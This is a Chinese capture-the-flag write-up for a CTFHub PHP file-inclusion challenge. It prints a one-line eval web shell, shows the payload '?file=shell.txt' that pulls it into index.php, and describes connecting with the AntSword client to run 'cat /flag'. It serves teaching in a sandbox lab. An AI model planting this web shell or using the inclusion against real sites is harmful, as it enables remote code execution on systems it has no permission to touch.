点击此处获得更好的阅读体验
WriteUp来源
本WP来自Jazz
原创投稿
题目考点
PHP语言
include函数
一句话木马
解题思路
开局给出源代码
带大家通读源码:
第一行:略
第二行:取消报错
第三行:判断是否通过get接收到参数“file”
第四行:如果接受到的file参数内容里包含有“flag”字段,则
第五行:满足第四行的if条件,即接受到的内容中不含flag字段,就include包含文件
第六行:否则
第七行:不满足if条件,即包含有flag,echo hack
第八行:略
第九行:略
略略略
其实这道题只有一个考点:include函数
先不急 先注意到题目下方有提示:
访问之:http://challenge-d8e3b3e0b906f358.sandbox.ctfhub.com:10080/shell.txt
1
<?php eval($_REQUEST['ctfhub']);?>
是一个密码为ctfhub的一句话木马
下面简单讲一下include函数的作用
你就可以理解成
假如在index.php中include了一个文件
那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中
所以这道题的payload构造思路就是把shell.txt里的内容想办法放到index.php中去
根据源码构造payload:
1
?file=shell.txt
直接上蚁剑
执行命令
1
cat /flag